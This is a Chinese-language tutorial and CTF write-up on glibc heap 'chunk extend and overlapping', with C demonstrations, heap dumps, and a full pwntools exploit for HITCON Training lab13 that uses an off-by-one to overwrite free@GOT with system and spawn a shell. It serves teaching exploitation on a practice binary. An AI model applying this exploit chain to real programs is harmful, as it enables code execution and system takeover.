堆溢出-Chunk Extend and Overlapping
原理
这种利用方法需要以下的时机和条件:
- 程序中存在基于堆的漏洞
- 漏洞可以控制 chunk header 中的数据
ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。
作用
一般来说,这种技术并不能直接控制程序的执行流程,但是可以控制 chunk 中的内容。如果 chunk 存在字符串指针、函数指针等,就可以利用这些指针来进行信息泄漏和控制执行流程。
此外通过 extend 可以实现 chunk overlapping,通过 overlapping 可以控制 chunk 的 fd/bk 指针从而可以实现 fastbin attack 等利用。
对 inuse 的 fastbin 进行 extend
该利用的效果是通过更改第一个块的大小来控制第二个块的内容。
int main(void) { void *ptr,*ptr1;
ptr=malloc(0x10); malloc(0x10);
*(long long *)((long long)ptr-0x8)=0x41;
free(ptr); ptr1=malloc(0x30); return 0; }
|
堆内布局 0x602000: 0x0000000000000000 0x0000000000000021 <=== chunk 1 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000021 <=== chunk 2 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000020fc1 <=== top chunk
|
当把chunk 1 size改为0x41(0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小),chunk 2被chunk 1包含进去,,当把chunk1释放时chunk2被一同释放,再申请一个比chunk1大的块就能直接控制chunk2(不要覆盖top chunk),称为 overlapping chunk。
对 inuse 的 smallbin 进行 extend
处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。(fastbin 默认的最大的 chunk 可使用范围是 0x70)
int main() { void *ptr,*ptr1;
ptr=malloc(0x80); malloc(0x10); malloc(0x10);
*(int *)((int)ptr-0x8)=0xb1; free(ptr); ptr1=malloc(0xa0); }
|
堆内布局 0x602000: 0x0000000000000000 0x00000000000000b1 <===chunk1 篡改size域 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000000 0x0000000000000021 <=== chunk2 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000021 <=== 防止合并的chunk 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000020f31 <=== top chunk
|
在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以我们需要额外分配一个 chunk,把释放的块与 top chunk 隔开。
释放后,chunk1 把 chunk2 的内容吞并掉并一起置入 unsorted bin,再次进行分配的时候就会取回 chunk1 和 chunk2 的空间,此时我们就可以控制 chunk2 中的内容。
对 free 的 smallbin 进行 extend
int main() { void *ptr,*ptr1;
ptr=malloc(0x80); malloc(0x10);
free(ptr);
*(int *)((int)ptr-0x8)=0xb1; ptr1=malloc(0xa0); }
|
0x602000: 0x0000000000000000 0x0000000000000091 <=== 进入unsorted bin 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000000 0x602090: 0x0000000000000090 0x0000000000000020 <=== chunk 2 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000020f51 <=== top chunk
|
首先释放 chunk1 使它进入 unsorted bin 中,然后篡改 chunk1 的 size 域,此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。
通过 extend 后向 overlapping
int main() { void *ptr,*ptr1;
ptr=malloc(0x10); malloc(0x10); malloc(0x10); malloc(0x10); *(int *)((int)ptr-0x8)=0x61; free(ptr); ptr1=malloc(0x50); }
|
malloc(0x10)申请的都是fastbin。
在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。
通过 extend 前向 overlapping
int main(void) { void *ptr1,*ptr2,*ptr3,*ptr4; ptr1=malloc(128); ptr2=malloc(0x10); ptr3=malloc(0x10); ptr4=malloc(128); malloc(0x10); free(ptr1); *(int *)((long long)ptr4-0x8)=0x90; *(int *)((long long)ptr4-0x10)=0xd0; free(ptr4); malloc(0x150); }
|
前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。
例 HITCON Trainging lab13
功能 puts("--------------------------------"); puts(" Heap Creator "); puts("--------------------------------"); puts(" 1. Create a Heap "); puts(" 2. Edit a Heap "); puts(" 3. Show a Heap "); puts(" 4. Delete a Heap "); puts(" 5. Exit "); puts("--------------------------------");
|
漏洞点
unsigned __int64 edit_heap() if ( heaparray[v1] ) { printf("Content of heap : ", &buf); read_input(*(heaparray[v1] + 1), *heaparray[v1] + 1LL); puts("Done !"); }
|
利用
- 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
- 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
break *0x400D76
创建两个大小为0x14的堆块,heap命令查看
pwndbg> x/20gx 0x603290 0x603290: 0x0000000000000000 0x0000000000000021 ===>chunk1 0x6032a0: 0x0000000000000014 0x00000000006032c0 指向 0x6032b0: 0x0000000000000000 0x0000000000000021 ===>chunk1数据 0x6032c0: 0x6161616161616161 0x6161616161616161 长度0x14 0x6032d0: 0x0000000061616161 0x0000000000000021 ===>chunk2 0x6032e0: 0x0000000000000014 0x0000000000603300 0x6032f0: 0x0000000000000000 0x0000000000000021 ===>chunk2数据 0x603300: 0x6262626262626262 0x6262626262626262 长度0x14 0x603310: 0x0000000062626262 0x0000000000020cf1 ===>top chunk 0x603320: 0x0000000000000000 0x0000000000000000
|
因此堆中保存的结构为
----------------------------------------- chunk1 ========> | prev_size | size | | len(data) | ptr | | prev_size | size | | data | ----------------------------------------- chunk2 ========> | prev_size | size | | len(data) | ptr | | prev_size | size | | data | -----------------------------------------
|
可见如果我们数据的长度为0x18,调用edit_heap就可触发off-by-one覆盖下一堆块的prev_size
一个chunk在被free掉之后存在bins中,其头部含有prev_size和size,但一旦malloc后,这个prev_size就没用了,它只用来记录前一个空闲块的大小。因此如果malloc0x18个字节的话多出8个字节没有对齐,会将这个prev_size也当做data段的部分分配出去,而不是下一个堆了。
接下来就是利用通过 extend 后向 overlapping+fastbin实现利用了
create(0x18,'aaaa') create(0x10,'bbbb') create(0x10,'cccc') create(0x10,'/bin/sh') edit(0,'a'*0x18+'\x81') delete(1) size = '\x08'.ljust(8,'\x00') payload = 'd'*0x40+ size + p64(elf.got['free']) create(0x70,payload) show(2) p.recvuntil('Content : ') free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00')) success('free_addr = '+str(hex(free_addr)))
system_addr = free_addr + lib.symbols['system']-lib.symbols['free'] success('system_addr = '+str(hex(system_addr))) edit(2,p64(system_addr))
delete(3) p.interactive()
|
exp
from pwn import * cn = process('./heapcreator') elf=ELF('./heapcreator')
lib = ELF('libc.so.6') def create(l,value): cn.recvuntil('Your choice :') cn.sendline('1') cn.recvuntil('Size of Heap : ') cn.sendline(str(int(l))) cn.recvuntil('Content of heap:') cn.sendline(value) def edit(index,value): cn.recvuntil('Your choice :') cn.sendline('2') cn.recvuntil('Index :') cn.sendline(str(index)) cn.recvuntil('Content of heap : ') cn.sendline(value) def show(index): cn.recvuntil('Your choice :') gdb.attach(cn) cn.sendline('3') cn.recvuntil('Index :') cn.sendline(str(index)) def delete(index): cn.recvuntil('Your choice :') cn.sendline('4') cn.recvuntil('Index :') cn.sendline(str(index))
create(0x18,'aaaa') create(0x10,'bbbb') create(0x10,'cccc') create(0x10,'/bin/sh') gdb.attach(cn) edit(0,'a'*0x18+'\x81') gdb.attach(cn) delete(1) size = '\x08'.ljust(8,'\x00') payload = 'd'*0x40+ size + p64(elf.got['free']) create(0x70,payload) show(2) cn.recvuntil('Content : ') free_addr = u64(cn.recvuntil('Done')[:-5].ljust(8,'\x00')) success('free_addr = '+str(hex(free_addr)))
system_addr = free_addr + lib.symbols['system']-lib.symbols['free'] success('system_addr = '+str(hex(system_addr)))
edit(2,p64(system_addr))
show(2) delete(3) cn.interactive()
|